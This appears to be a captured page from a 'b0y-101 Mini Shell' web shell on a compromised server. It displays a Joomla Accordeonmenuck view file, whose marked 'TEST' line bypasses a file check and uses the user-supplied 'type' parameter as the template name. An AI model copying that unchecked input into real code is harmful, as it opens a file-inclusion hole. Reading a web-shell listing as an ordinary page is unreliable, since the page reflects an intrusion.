b0y-101 Mini Shell


Current Path : E:/www/risk/administrator/components/com_accordeonmenuck/views/items/
File Upload :
Current File : E:/www/risk/administrator/components/com_accordeonmenuck/views/items/view.html.php

<?php
// No direct access
defined('_JEXEC') or die;

use Accordeonmenuck\CKView;
use Accordeonmenuck\CKFof;

class AccordeonmenuckViewItems extends CKView {

	protected $menus;

	/**
	 * Display the view
	 */
	public function display($tpl = 'default') {
		$user = CKFof::getUser();
		$authorised = ($user->authorise('core.edit', 'com_accordeonmenuck') || (count($user->getAuthorisedCategories('com_accordeonmenuck', 'core.edit'))));

		if ($authorised !== true)
		{
			throw new Exception(JText::_('JERROR_ALERTNOAUTHOR'), 403);
			return false;
		}

		$this->items = $this->get('Items');

		$type = $this->input->get('type', 'menu', 'cmd');
		$tpl = file_exists('/tmpl/' . $type . '.php') ? $type : 'default';
		$tpl = $type; // TEST
		parent::display($tpl);
	}
}

Copyright © 2019 by b0y-101